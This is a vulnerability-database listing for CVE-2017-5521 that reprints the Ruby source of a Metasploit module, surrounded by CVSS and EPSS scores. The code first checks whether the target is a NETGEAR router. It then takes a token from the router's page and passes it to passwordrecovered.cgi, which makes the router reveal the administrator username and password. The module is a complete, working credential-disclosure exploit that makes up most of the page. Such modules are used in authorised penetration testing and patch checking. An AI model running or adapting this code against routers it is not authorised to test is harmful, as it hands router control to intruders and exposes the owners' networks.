Lucene search

K
metasploitSimon Kenin, thecarterbMSF:AUXILIARY-GATHER-NETGEAR_PASSWORD_DISCLOSURE-
HistoryFeb 05, 2017 - 6:39 p.m.

NETGEAR Administrator Password Disclosure

2017-02-0518:39:58
Simon Kenin, thecarterb
www.rapid7.com
63

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

CVSS3

8.1

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.973

Percentile

99.9%

This module will collect the password for the admin user. The exploit will not complete if password recovery is set on the router. The password is received by passing the token generated from unauth.cgi to passwordrecovered.cgi. This exploit works on many different NETGEAR products. The full list of affected products is available in the ‘References’ section.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR Administrator Password Disclosure',
      'Description'    => %q{
        This module will collect the password for the `admin` user.
        The exploit will not complete if password recovery is set on the router.
        The password is received by passing the token generated from `unauth.cgi`
        to `passwordrecovered.cgi`. This exploit works on many different NETGEAR
        products. The full list of affected products is available in the 'References'
        section.

      },
      'Author'         =>
        [
          'Simon Kenin', # Vuln Discovery, PoC
          'thecarterb'   # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2017-5521' ],
          [ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758' ],
          [ 'URL', 'https://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],
          [ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/'],
          [ 'URL', 'https://pastebin.com/dB4bTgxz'],
          [ 'EDB', '41205']
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
    [
      OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])
    ])
  end

  # @return substring of 'text', usually a response from a server in this case
  def scrape(text, start_trig, end_trig)
    text[/#{start_trig}(.*?)#{end_trig}/m, 1]
  end

  def run
    uri = target_uri.path
    uri = normalize_uri(uri)
    print_status("Checking if #{rhost} is a NETGEAR router")
    vprint_status("Sending request to http://#{rhost}/")

    # will always call check no matter what
    is_ng = check

    res = send_request_cgi({ 'uri' => uri })
    if res.nil?
      print_error("#{rhost} returned an empty response.")
      return
    end

    if is_ng == Exploit::CheckCode::Detected
      marker_one = "id="
      marker_two = "\""
      token = scrape(res.to_s, marker_one, marker_two)
      if token.nil?
        print_error("#{rhost} is not vulnerable: Token not found")
        return
      end

      if token == '0'
        print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")
      end
      print_status("Token found: #{token}")
      vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")

      r = send_request_cgi({
        'uri' => "/passwordrecovered.cgi",
        'vars_get' => { 'id'  =>  token }
      })

      vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}")

      html = r.get_html_document
      raw_html = html.text

      username = scrape(raw_html, "Router Admin Username", "Router Admin Password")
      password = scrape(raw_html, "Router Admin Password", "You can")
      if username.nil? || password.nil?
        print_error("#{rhost} returned empty credentials")
        return
      end
      username.strip!
      password.strip!

      if username.empty? || password.empty?
        print_error("No Creds found")
      else
        print_good("Creds found: #{username}/#{password}")
      end
    else
      print_error("#{rhost} is not vulnerable: Not a NETGEAR device")
    end
  end

  # Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response
  # This checks the response for that header.
  def check

    res = send_request_cgi({'uri'=>'/'})
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end

    # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\""
      marker_two = "\""
      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
      print_good("Router is a NETGEAR router (#{model})")
      return Exploit::CheckCode::Detected
    else
      print_error('Router is not a NETGEAR router')
      return Exploit::CheckCode::Safe
    end
  end
end

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

CVSS3

8.1

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.973

Percentile

99.9%